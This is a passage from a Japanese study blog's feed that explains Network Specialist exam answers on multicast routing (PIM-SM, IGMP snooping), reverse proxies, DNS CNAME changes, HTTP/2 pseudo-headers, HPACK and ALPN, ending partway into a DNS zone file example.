<figure class="wp-block-image size-full"><img decoding="async" width="857" height="119" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-128.png" alt="" class="wp-image-8324" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-128.png 857w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-128-300x42.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-128-763x106.png 763w" sizes="(max-width: 857px) 100vw, 857px" /></figure>



<figure class="wp-block-image size-large"><img decoding="async" src="https://ascend-beyond.com/wp-content/uploads/2026/09/ec751327ea5fbf7f031a286e7e1c898a-1024x559.jpg" alt="" class="wp-image-8325"/></figure>



<h3 class="wp-block-heading"><span id="toc15">Q.PIM-SMってなに？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="824" height="136" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-133.png" alt="" class="wp-image-8331" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-133.png 824w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-133-300x50.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-133-763x126.png 763w" sizes="(max-width: 824px) 100vw, 824px" /></figure>



<p class="wp-block-paragraph">では、フローとともにPIM-SMの正体を明らかにしていこう！</p>



<p class="wp-block-paragraph"><strong><span class="fz-20px">ステップ1：レシーバー側（下流）の参加表明（IGMP ＆ IGMPスヌーピング）</span></strong></p>



<ul class="wp-block-list">
<li><strong>PCの動作：</strong> レシーバー（またはPC）が「このマルチキャストグループ（例：G）の映像が欲しい！」と <span class="bold-blue">IGMP</span>（Internet Group Management Protocol） の参加要求（Join/Report）を送信する。</li>



<li><strong>L2SWの動作：</strong> 直下のL2SWがそのIGMPメッセージを<span class="bold-blue"> IGMPスヌーピング </span>で盗み見し、「このポートの先には、グループGを欲しがっている機器がいる」と学習する。これにより、L2SWは不要なポートへマルチキャストを流さず、必要なポートだけに絞って転送できるようになる。</li>
</ul>



<p class="wp-block-paragraph"><strong><span class="fz-20px">ステップ2：ラストホップルーターによるPIM Joinの送信</span></strong></p>



<ul class="wp-block-list">
<li>L2SWを抜けたIGMPメッセージは、レシーバーに一番近いルーター（<strong>ラストホップルーター</strong>）に届く。</li>



<li>ルーターは「おっ、自分の配下にグループGが欲しい人がいるな」と認識し、PIM-SMの仕組みを使って、ネットワークの中心である <span class="bold-blue">RP</span>（ランデブーポイント） に向かって <strong>「</strong><span class="bold-blue">PIM Join（<code>(*, G)</code> Join）</span><strong>」</strong> というメッセージを上流へ向けて送信する。</li>



<li>このJoinメッセージが経由するルーターたちを順番に通っていくことで、レシーバー側からRPに向かうまでの「配信ツリー（<span class="bold-blue">共有ツリー</span>）」の経路が上に向かって構築される。</li>
</ul>



<p class="wp-block-paragraph"><strong><span class="fz-20px">ステップ3：ランデブーポイント（RP）とは？どうやって決まるのか？</span></strong></p>



<ul class="wp-block-list">
<li>疑問：「このマルチキャストアドレスだったらこのランデブーポイント使ってねというのはあらかじめあるの？」</li>



<li><strong>答え：ある！</strong> RP（Rendezvous Point）というのは、マルチキャストの世界における「待ち合わせ場所（中継役のルーター）」。 ネットワーク内の全ルーターは、「どのグループアドレス宛ての通信であれば、どのルーター（のIPアドレス）をRPとみなすか」という情報をあらかじめ知っていなければならない。 設定方法には以下の2つがある。
<ol start="1" class="wp-block-list">
<li><strong><span class="bold-blue">手動設定（静的）</span>：</strong> 管理者がすべてのルーターに「グループA〜CのRPはルーターXだよ」と手動で書き込んでおく。</li>



<li><strong><span class="bold-blue">自動配布（Auto-RP / BSR）</span>：</strong> 特殊なプロトコルを使って、ネットワーク内のルーター同士で自動的にRPの情報を共有する。</li>
</ol>
</li>
</ul>



<p class="wp-block-paragraph"><strong><span class="fz-20px">ステップ4：ソース側からのデータ送信と「Register（登録）」の仕組み</span></strong></p>



<ul class="wp-block-list">
<li>疑問：「ソースは、このマルチキャストIPあてに送るときはこのランデブーポイントに送るんだなみたいなのをやっとくの？」</li>



<li>答え：ソース側はRPの存在を意識していない。 ソース（IPカメラなど）は、自分がどこにいてRPがどこにあるかを知らなくても、単に「宛先＝マルチキャストグループアドレス（G）」として普通にパケットを送信する。</li>



<li>ファーストホップルーターの動作（Register）：<strong> </strong>ソースから一番近いルーター（ファーストホップルーター）がそのマルチキャストパケットを受け取る。しかし、この時点ではまだ「レシーバー側からRPを通るツリー」しかできておらず、ソースからRPへのルートが確立していない。 そこで、ファーストホップルーターは、受け取ったマルチキャストパケットを 自分のIPで包み込んで（ユニキャストでカプセル化して）、RP宛てに送り届ける。 これが PIM Register（レジスター）メッセージ 。</li>
</ul>



<p class="wp-block-paragraph"><strong>ステップ5：RPが受け取り、正規のルート（ツリー）に切り替える</strong></p>



<ul class="wp-block-list">
<li>RPがRegisterメッセージを受け取ると、中身のマルチキャストパケットを取り出し、ステップ2で作られたレシーバー側のツリーに向けて一斉に流し始める（これでレシーバーに映像が届く）。</li>



<li>同時に、RPは「ソースから直接データをくれ！」というメッセージ（<code>S, G</code> Join）をソース側に向かって送る。</li>



<li>これにより、ソースとRPの間にも直接の通信経路（最短パス）ができ、カプセル化（Register）ではなく、通常のきれいなマルチキャストパケット（ネイティブ）で直接やり取りされるようになる。</li>
</ul>



<p class="wp-block-paragraph">要は、PIM-SMとはマルチキャストルーティイングを成立させるためのルーティングプロトコルということ。</p>



<h3 class="wp-block-heading"><span id="toc16">Q.IGMPスヌーピングとは？</span></h3>



<p class="wp-block-paragraph">では例のごとくフローを見ながら大枠を理解していこう！</p>



<p class="wp-block-paragraph"><strong><span class="fz-20px">ステップ1：【準備段階】ルーターの場所を覚える（ルーターポートの学習）</span></strong></p>



<ol start="1" class="wp-block-list">
<li>上流にあるルーター（L3スイッチなど）は、配下のネットワークに向けて定期的に 「IGMPクエリー（誰かグループに参加したい人いませんか？という確認メッセージ）」 を送信する。</li>



<li>L2スイッチは、そのクエリーがどのポートから届いたのかを観察する。</li>



<li><strong>【学習内容】：</strong> L2スイッチは、「このクエリーが来たポートの向こう側にルーター（上位機器）があるんだな」と把握し、そのポートを 「ルーターポート（上りポート）」 として記憶する。
<ul class="wp-block-list">
<li><em>※これによって、将来マルチキャストデータが上から降ってきたときに、どこから受け取ればいいかがわかる。</em></li>
</ul>
</li>
</ol>



<p class="wp-block-paragraph"><strong><span class="fz-20px">ステップ2：【参加段階】クライアントの要望を盗み見する（メンバーポートの学習）</span></strong></p>



<ol start="1" class="wp-block-list">
<li>パソコンやレシーバー（クライアント）が、「このマルチキャストグループ（例：カメラ11の映像）の配信が欲しい！」という<span class="bold-blue"> <strong>IGMPレポート（参加要求）</strong></span> をネットワークに発信する。</li>



<li>L2スイッチは、このIGMPレポートの中身（IPパケット内の宛先グループアドレス）をこっそり覗き見（<span class="bold-blue">スヌーピング</span>）する。</li>



<li><strong>【学習内容】：</strong> L2スイッチは、「<strong>ポート3</strong>に繋がっているPCが、このグループの映像を欲しがっているな」とテーブルにメモ（バインディング）する。このポートを <strong><span class="bold-blue">「メンバーポート」</span></strong> と呼ぶ。</li>



<li>その後、IGMPレポートはそのまま上流のルーターへ転送される。</li>
</ol>



<p class="wp-block-paragraph"><strong><span class="fz-18px"><span class="fz-20px">ステップ3：【データ転送段階】必要なポートだけに絞って流す</span></span></strong></p>



<ol start="1" class="wp-block-list">
<li>実際にソース（IPカメラなど）から、そのグループ宛てのマルチキャストパケットが流れてくると、データはまず <strong>ステップ1で覚えたルーターポート</strong> からL2スイッチに飛び込んでくる。</li>



<li>通常のL2スイッチであれば、届いたデータをすべてのポートにバラ撒く（フラッディング）してしまいますが、IGMPスヌーピングが有効なスイッチは違う。</li>



<li>スイッチは、届いたパケットの宛先を確認し、ステップ2でメモしたテーブル（「このグループが欲しいのはポート3だけ」）を確認する。</li>



<li><strong>【実際の転送】：</strong>
<ul class="wp-block-list">
<li>欲しがっている <strong>ポート3</strong> にだけ、ピンポイントで映像データを流す。</li>



<li>別の映像を流していないPCが繋がっているポート（ポート1や2など）には、<strong>一切データを流さない。</strong></li>
</ul>
</li>
</ol>



<h3 class="wp-block-heading"><span id="toc17">Q.IGMPのマルチキャストアドレスは？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="857" height="98" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-136.png" alt="" class="wp-image-8335" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-136.png 857w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-136-300x34.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-136-761x87.png 761w" sizes="(max-width: 857px) 100vw, 857px" /></figure>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>用途・プロトコル</strong></td><td><strong>IPマルチキャストアドレス</strong></td><td><strong>対象・役割</strong></td></tr></thead><tbody><tr><td>すべてのホスト<sup></sup></td><td>224.0.0.1<sup></sup></td><td>同一セグメント上のすべてのPCやレシーバー宛て<sup></sup></td></tr><tr><td>すべてのルーター<sup></sup></td><td>224.0.0.2<sup></sup></td><td>同一セグメント上のすべてのルーター宛て（IGMPv2のLeaveなど）<sup></sup></td></tr><tr><td>PIMルーター用<sup></sup></td><td>224.0.0.13<sup></sup></td><td>ルーター同士でPIMメッセージ（PIM Joinなど）をやり取りするため<sup></sup></td></tr><tr><td>IGMPv3 レポート用<sup></sup></td><td>224.0.0.22<sup></sup></td><td>IGMPv3でホストからルーターへ（S, G）の参加要求を送るため<sup></sup></td></tr></tbody></table></figure>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>令和5年（2023年）ネスペ午後Ⅰ　問Ⅰ　解答解説</title>
		<link>https://ascend-beyond.com/study/8307/</link>
		
		<dc:creator><![CDATA[管理人]]></dc:creator>
		<pubDate>Sat, 26 Sep 2026 01:28:50 +0000</pubDate>
				<category><![CDATA[Study]]></category>
		<category><![CDATA[ネスペ]]></category>
		<guid isPermaLink="false">https://ascend-beyond.com/?p=8307</guid>

					<description><![CDATA[設問１ （１）a: リバース　b: 権威　c: キャッシュ　d: ストリーム　e: :method　f: TLS a: リバース　インターネット側のクライアント（利用者）から見ると、アクセス先はDMZにある「Webサーバ [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"><span id="toc1">設問１</span></h2>



<h3 class="wp-block-heading"><span id="toc2">（１）a: リバース　b: 権威　c: キャッシュ　d: ストリーム　e: :method　f: TLS</span></h3>



<p class="wp-block-paragraph"><span style="text-decoration: underline;"><span class="fz-24px"><strong>a: リバース</strong><br></span></span>　インターネット側のクライアント（利用者）から見ると、アクセス先はDMZにある「Webサーバー」に見える。しかし、Webサーバーは自分で処理を完結させず、内部の「APサーバー」に処理を中継・肩代わりさせている。つまり、外部からのリクエストをサーバー側（Webサーバー）が代理で受け止めて内部に流している構造なので、これは<span class="bold-blue">リバースプロキシ</span>になる。</p>



<h4 class="wp-block-heading"><span id="toc3">Q.フォワードプロキシとリバースプロキシの違いは？</span></h4>



<p class="wp-block-paragraph">フォワードかリバースかを判別する基準は、「どちら側の世界を守るため、またはどちら側の代理としてそこに立っているか」である。</p>



<ol start="1" class="wp-block-list">
<li><strong>フォワードプロキシ（順方向）</strong>
<ul class="wp-block-list">
<li><strong>誰のための代理か：</strong> <strong>クライアント側</strong></li>



<li><strong>目的：</strong> 社内などのクライアントが、インターネットへアクセスするときに経由する。クライアントのIPアドレスを隠したり、アクセス制限をかけたりする。</li>
</ul>
</li>



<li><strong>リバースプロキシ（逆方向）</strong>
<ul class="wp-block-list">
<li><strong>誰のための代理か：</strong> <strong>サーバー側</strong></li>



<li><strong>目的：</strong> インターネット上の不特定多数のクライアントからのリクエストを、本当のサーバー（WebやAP）の代わりに「<span class="bold-blue">真っ先に受け止める</span>」。サーバーの保護や負荷分散を行う。</li>
</ul>
</li>
</ol>



<p class="wp-block-paragraph"><span style="text-decoration: underline;"><span class="fz-24px"><strong>C: キャッシュ</strong></span></span><br>　キャッシュDNSサーバの別名には「フルサービスリゾルバ」、「再帰DNSサーバー」、「リカーシブDNSサーバー」などがある</p>



<p class="wp-block-paragraph"><span style="text-decoration: underline;"><span class="fz-24px"><strong>e: :method</strong></span></span><br>　HPACKには４つの必須フィールドがある。<code>:method</code>、<code>:scheme</code>、<code>:authority</code>、<code>:path</code>である。その中の:methodを記入すればよい。正直:authorityでも正解になる気がするが。。。安牌な:methodを入れておこう！</p>



<p class="wp-block-paragraph"><span style="text-decoration: underline;"><span class="fz-24px"><strong>f: TLS</strong></span></span><br>　ALPNはどのプロトコルの拡張か？が聞かれている。ALPNはTLSを拡張したものであるので回答にもTLSを記載する。</p>



<h4 class="wp-block-heading"><span id="toc4">Q.SSLやSSL/TLSという回答ではだめなの？</span></h4>



<p class="wp-block-paragraph">SSLは既に撤廃されているプロトコルなのでSSLと記載するのはNG。また、SSL/TLSは、暗号化通信全体を指す慣習的な総称として呼ばれることもあるが、テストなどの厳格な場ではTLSのみを使うことが望ましい。</p>



<h2 class="wp-block-heading"><span id="toc5">設問４</span></h2>



<h3 class="wp-block-heading"><span id="toc6">（１）回答は以下の図を参照</span></h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>機器</strong></td><td><strong>宛先ネットワーク</strong></td><td><strong>ネクストホップ</strong></td></tr></thead><tbody><tr><td>L3SW</td><td><strong>ア：172.21.10.0/24</strong></td><td><strong>イ：172.21.11.2</strong></td></tr><tr><td>仮想ルータ</td><td>0.0.0.0/0</td><td><strong>ウ：172.21.11.1</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><span style="text-decoration: underline;"><span class="fz-22px"><strong>ア：172.21.10.0/24</strong>、<strong>イ：172.21.11.2</strong></span></span><br>　G社データセンター側からJ社クラウド側（172.21.10.0/24）に行きたいパケットは、まず仮想ルーター（172.21.11.2）に投げろという指示をあらわしている。</p>



<p class="wp-block-paragraph"><span style="text-decoration: underline;"><span class="fz-22px"><strong>ウ：172.21.11.1</strong></span></span><br>　</p>



<h4 class="wp-block-heading"><span id="toc7">▼APサーバが使われるフロー</span></h4>



<p class="wp-block-paragraph"><strong>1. リクエストの到着（インターネット ➔ 仮想LB ➔ Webサーバ）</strong><br>　①クライアントがインターネットからJ社クラウドの仮想LBにアクセスする。<br>　②仮想LBが負荷分散として、VPCセグメント内のいずれかのWebサーバにリクエストを転送する。</p>



<ol start="1" class="wp-block-list">
<li></li>
</ol>



<p class="wp-block-paragraph"><strong>2. 動的コンテンツの判定とG社DCへの転送（Webサーバ ➔ 仮想ルーター ➔ 専用線 ➔ L3SW ➔ APサーバ）</strong><br>　①Webサーバがリクエストを受け取るが、それが「画像などの静的ファイル」ではなく「プログラム処理が必要な動的コンテンツ（例: データベースのデータが必要など）」であると判断。<br>　②Webサーバ自身にはその処理能力がない（あるいはAPサーバに処理を投げなければならない）ため、G社データセンター側にあるAPサーバへリクエストを転送しようとする<br>　<span class="blue">＊WebサーバからAPを使うと判断するときは、宛先APサーバがプログラムでハードコーディングされていることが多い</span>。<br>　③このとき、VPCセグメント内からデータセンター側へ行くためには、ネットワークの出口である仮想ルーターにパケットを渡す必要がある。<br><span class="blue">　＊ここで使われるのが空欄ウのデフォルトルート。でも正直、デフォルトルートにしなくてもAPサーバのサブネットが特定できるなら、当該サブネットを指定すればいい。わざわざデフォルトルートにする必要がない。</span><br>　④仮想ルーターは、専用線を経由してG社データセンター側のL3スイッチにパケットを送り、L3スイッチからAPサーバにリクエストが届く。</p>



<p class="wp-block-paragraph"><strong>3. 処理結果の返却（APサーバ ➔ L3SW ➔ 仮想ルーター ➔ Webサーバ ➔ 仮想LB ➔ クライアント）</strong><br>　①APサーバが処理を行い、その結果（動的データ）をL3スイッチに返す。<br>　②L3スイッチから専用線を通って、J社クラウド側の仮想ルーターに戻ってくる。<br>　③仮想ルーターから、最初にリクエストを投げたWebサーバにデータが返される。<br>　④Webサーバが最終的なレスポンスを仮想LBへ返し、仮想LBを経由してインターネット上のクライアントに届く。</p>



<h3 class="wp-block-heading"><span id="toc8">（２）動作モード：アプリケーションモード　        理由：HTTP/2リクエストをHTTP/1.1に変換して負荷分散するから</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="738" height="176" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-126.png" alt="" class="wp-image-8318" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-126.png 738w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-126-300x72.png 300w" sizes="(max-width: 738px) 100vw, 738px" /></figure>



<p class="wp-block-paragraph">ネットワークモードだと、パケットのL3,L4までしか見ないのでL7でどのプロトコルを使っているかまでは見ない。要は、変換対象としてL3、L4レベルしかできない。<br>一方、アプリケーションモードは変換対象にL7まで含めることができるのでHTTP/2をHTTP/1.1に変換できる。<br>問題文中の「負荷分散処理」というとあたかも宛先のみを動的に変換対象とするというイメージだが、そうじゃなくて、どこまでも変換対象にするのかを意味している。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><span id="toc9">Q.HTTPって何？</span></h3>



<p class="wp-block-paragraph">HTTPってWebサーバとやり取りするときに使うプロトコルってイメージはあるけど、意外とそれ以上深くは知らないかも。。。。ということでそもそもHTTPってなんなの？という疑問を解消していこう！</p>



<p class="wp-block-paragraph">A.<span class="bold-blue">HTTP（HyperText Transfer Protocol）</span>とは、インターネット上でWebブラウザ（クライアント）とWebサーバーの間で、文字や画像、HTMLファイルなどのWeb情報をやり取りするための「共通のルール（プロトコル）」のことである</p>



<h3 class="wp-block-heading"><span id="toc10">p.5 Q.構成変更後のDNS設定はどうなるの？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="826" height="451" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-122.png" alt="" class="wp-image-8311" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-122.png 826w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-122-300x164.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-122-767x419.png 767w" sizes="(max-width: 826px) 100vw, 826px" /></figure>



<p class="wp-block-paragraph">WebサーバをJ社クラウドに配置することによってDNSのレコードも変更する必要が出てくる。では、どのように変更すればよいのか。。。。それをシナリオとともに見ていこう！<br>▼前提条件<br>G社WebサーバのFQDNをshop.g-company.comとする</p>



<p class="wp-block-paragraph"><strong>ステップ①：G社（自社）の権威DNSの変更</strong></p>



<ul class="wp-block-list">
<li>変更前： <code>G社WebサーバのFQDN（例：shop.g-company.com</code>） に対して、G社データセンターにあったWebサーバーのIPアドレスをAレコードとして直接登録していた。</li>



<li>変更後： Aレコードを削除（または変更）し、<span class="bold-blue">CNAMEレコード</span>を設定する。</li>



<li>CNAMEに何を書くか： J社クラウドで仮想LBを作成した際に自動割り当てられる「<span class="bold-blue">仮想LBのFQDN</span>（例: <code>xxx.j-cloud-provider.com</code>）」を指定する。</li>
</ul>



<p class="wp-block-paragraph"><strong>ステップ②：ユーザーからの名前解決要求</strong></p>



<ol start="1" class="wp-block-list">
<li>ユーザーのWebブラウザが <code>shop.g-company.com</code> にアクセスしようとする。</li>



<li>ユーザーのPCは、G社の権威DNSに対して <code>shop.g-company.com</code> のIPアドレスを問い合わせる。</li>



<li>G社の権威DNSは、「それはJ社の仮想LB（<code>xxx.j-cloud-provider.com</code>）を見てね」とCNAMEの情報を返す。</li>
</ol>



<p class="wp-block-paragraph"><strong>ステップ③：J社側での名前解決</strong></p>



<ol start="1" class="wp-block-list">
<li>案内を受けたユーザーのPC（フルリゾルバ）は、今度はそのJ社側のFQDN（<code>xxx.j-cloud-provider.com</code>）のIPアドレスを調べるために、J社側のDNSへ問い合わせる。</li>



<li>J社側のDNSが、その時点での仮想LBの正しいIPアドレスを返答する。</li>
</ol>



<p class="wp-block-paragraph"><strong>ステップ④：通信の開始と仮想LBによる振り分け</strong></p>



<ol start="1" class="wp-block-list">
<li>ユーザーのブラウザは、手に入れた仮想LBのIPアドレス宛てにHTTP/2などでリクエスト（パケット）を送信する。</li>



<li>Ｊ社の<strong>仮想LB</strong>がそのリクエストを真っ先に受け取り、「これは静的コンテンツだからクラウド内のWebサーバーへ」「これは動的コンテンツだからG社データセンターのAPサーバーへ」という風に、URLや設定に応じて適切にルーティング（振り分け）を行う。</li>
</ol>



<h3 class="wp-block-heading"><span id="toc11">Q.:method,:path,:schemeとかって何なの？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="829" height="120" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-123.png" alt="" class="wp-image-8313" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-123.png 829w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-123-300x43.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-123-767x111.png 767w" sizes="(max-width: 829px) 100vw, 829px" /></figure>



<p class="wp-block-paragraph">従来、リクエスト情報（例：https://example.com/index.html）は1行にまとめて書かれていた。それをHTTP/2では<code>:method</code> や <code>:path</code>、<code>:scheme</code>、<code>:authority</code> という個別のヘッダーフィールドにバラして表現するようになった。</p>



<h4 class="wp-block-heading"><span id="toc12">▼各フィールドの解説</span></h4>



<p class="wp-block-paragraph"><span class="fz-18px"><span class="fz-22px"><span class="bold-blue">:method<br></span></span>　</span><strong>役割：</strong><span class="fz-18px"> </span>サーバーに対して「何をしたいのか（どんな操作を要求するか）」を伝える指示書<br><strong>　主な種類：</strong><span class="fz-18px"><br></span>　　<code>GET</code>：サーバーからデータを「取得」する（一番多い）<br>　　<code>POST</code>：サーバーにデータを「新規送信・登録」する<br>　　<code>PUT</code> / <code>PATCH</code>：サーバー上のデータを「更新・修正」する<br>　　<code>DELETE</code>：サーバー上のデータを「削除」する<br><span class="fz-18px"><span class="fz-22px"><span class="bold-blue">:path<br></span></span>　</span><strong>役割：</strong><span class="fz-18px"> </span>サーバーの中にある「どのファイルやリソース（階層）にアクセスしたいのか」という宛先の場所を指定<br><strong>　具体例：</strong><br>　<code>https://example.com/images/logo.png</code>というURLであれば、ドメイン（<code>example.com</code>）より後ろの部分である <strong><code>/images/logo.png</code></strong> がそのままパスになる。サーバーはこのパスを見て「あ、あの画像を欲しがっているんだな」と判断する<br><span class="fz-18px"><span class="fz-22px"><span class="bold-blue">:scheme<br></span></span>　</span><strong>役割：</strong><span class="fz-18px"> </span>ご自身で気付かれている通り、「通信にどのプロトコル（約束事）を使うか」を表す最頭の部分<br><strong>　具体例：</strong><br>　URLの先頭にある <code>https://</code> や <code>http://</code> の「<code>https</code>」や「<code>http</code>」の部分が入る</p>



<h4 class="wp-block-heading"><span id="toc13">Q.フィールドの必要性は？</span></h4>



<p class="wp-block-paragraph">正直、従来のように１行にまとめてリクエストしたほうが効率よくね？なんでわざわざフィールドに分けるの？そっちの方が返ってオーバーヘッドとかデータ量が多くなりそうじゃね？<br>A.非常に自然な疑問。しかし、実際はその真逆で、「分解して構造化するからこそ、HPACKで圧倒的に効率よく圧縮できる」ようになっている。</p>



<h4 class="wp-block-heading"><span id="toc14">① 「文字列の重複」をディクショナリ（辞書）で極限まで削れるから</span></h4>



<ul class="wp-block-list">
<li>HTTP通信では、同じサイトにアクセスする際、何度も何度も同じメソッド（<code>GET</code>）や同じスキーム（<code>https</code>）、同じホスト名（<code>:authority</code>）を繰り返し送信する。</li>



<li>HTTP/1.1の1行テキスト（例: <code>GET /index.html HTTP/1.1</code>）のままだと、毎回この長い文字列をそのまま流すことになり、無駄が多くなる。</li>



<li>一方、HTTP/2で項目ごとに独立させると、HPACKの仕組み（裏側にあるあらかじめ用意された辞書や、動的に学習する辞書）によって、「<code>GET</code> というメソッドは、インデックス番号の『2番』ね」「<code>https</code> は『7番』ね」というふうに、わずか数バイト（あるいは1バイト未満）の数字に置き換えて（あるいは参照して）送ることができるようになる。</li>
</ul>



<h4 class="wp-block-heading"><span id="toc15">② 「パス（:path）」以外の部分はほとんど毎回同じだから</span></h4>



<ul class="wp-block-list">
<li>アクセスするたびに変わる可能性があるのは主に「パス（<code>:path</code> = <code>/images/a.png</code> や <code>/index.html</code> など）」くらいで、<code>:method</code>（大体 <code>GET</code>）や <code>:scheme</code>（<code>https</code>）、<code>:authority</code>（自社ドメイン）は、同じセッション内であればほぼ変わらない。</li>



<li>変わりにくい部分を独立したフィールドにしておくことで、2回目以降のリクエストでは「前と同じなので、共通の辞書番号だけ送るよ（実体の文字列は送らない）」という省略（差分圧縮）が強力に効くようになる。</li>
</ul>



<h4 class="wp-block-heading"><span id="toc16">③ バイナリ形式での高速処理</span></h4>



<ul class="wp-block-list">
<li>テキストの文字列（<code>GET /index.html...</code>）を毎回プログラムでパース（文字を切り貼りして解釈）するよりも、あらかじめ項目ごとに整理されたバイナリデータとしてやり取りした方が、サーバーやクライアントのCPU負荷が圧倒的に低く、高速に処理できる。</li>
</ul>



<h3 class="wp-block-heading"><span id="toc17">Q.ALPNってなに？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="819" height="82" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-124.png" alt="" class="wp-image-8315" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-124.png 819w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-124-300x30.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-124-759x76.png 759w" sizes="(max-width: 819px) 100vw, 819px" /></figure>



<p class="wp-block-paragraph">ALPN（Application-Layer Protocol Negotiation）とはTLSハンドシェイクのタイミングで「どのアプリケーションプロトコル使う？」と交渉するためのTLS拡張機能である。</p>



<h4 class="wp-block-heading"><span id="toc18">Q.もしALPNがないと？</span></h4>



<p class="wp-block-paragraph">HTTP/2がほぼ使えなくなる。ALPNを使わないでHTTP/2を使おうとすると<span class="bold-blue">H2C</span>と<span class="bold-blue">Upgradeヘッダー</span>を利用すればHTTP/2に切り替えれなくもない。しかし、それらの機能はchromeなどの主要ブラウザではサポートされていない。つまり、<span class="bold-blue">実質的にHTTP/2を使いたい場合はALPNがほぼ必須</span>とういことである。<br>HTTP/1.1を使いたい場合はALPNは不要。なぜならHTTP/1.1はデフォルトだから。</p>



<h3 class="wp-block-heading"><span id="toc19">p.4 Q.h2って何？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="834" height="35" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-125.png" alt="" class="wp-image-8316" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-125.png 834w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-125-300x13.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-125-763x32.png 763w" sizes="(max-width: 834px) 100vw, 834px" /></figure>



<p class="wp-block-paragraph">h2とは、ALPNで「どのプロトコルを使うの？」というネゴシエーションの際にいちいち「HTTP/2」ですと答えると長いので、h2に略した識別子を使うためのもの</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>令和5年（2023年）ネスペ午後Ⅱ　問Ⅱ　解答解説</title>
		<link>https://ascend-beyond.com/study/8259/</link>
		
		<dc:creator><![CDATA[管理人]]></dc:creator>
		<pubDate>Wed, 23 Sep 2026 12:19:55 +0000</pubDate>
				<category><![CDATA[Study]]></category>
		<category><![CDATA[ネスペ]]></category>
		<guid isPermaLink="false">https://ascend-beyond.com/?p=8259</guid>

					<description><![CDATA[設問１ （１）a: NS　b: MX　c: 100.α.β.1　d: 100.α.β.3　e: 192.168.1.1　f: 192.168.1.3 この問題は表１を参考にしながら埋めていく問題である。以下の手順で考える [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"><span id="toc1">設問１</span></h2>



<h3 class="wp-block-heading"><span id="toc2">（１）a: NS　b: MX　c: 100.α.β.1　d: 100.α.β.3　e: 192.168.1.1　f: 192.168.1.3</span></h3>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Markdown</span><span role="button" tabindex="0" data-code="@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)
        IN  a=NS   ns.example.jp.
        IN  b=MX   10 mail.example.jp.
ns      IN  A    c=100.α.β.1
ecsv    IN  A    (省略)
mail    IN  A    d=100.α.β.3
@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)
        IN  NS   ns.y-sha.example.lan.
        IN  MX   10 mail.y-sha.example.lan.
ns      IN  A    e=192.168.1.1
ecsv    IN  A    (省略)
mail    IN  A    f=192.168.1.3" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" 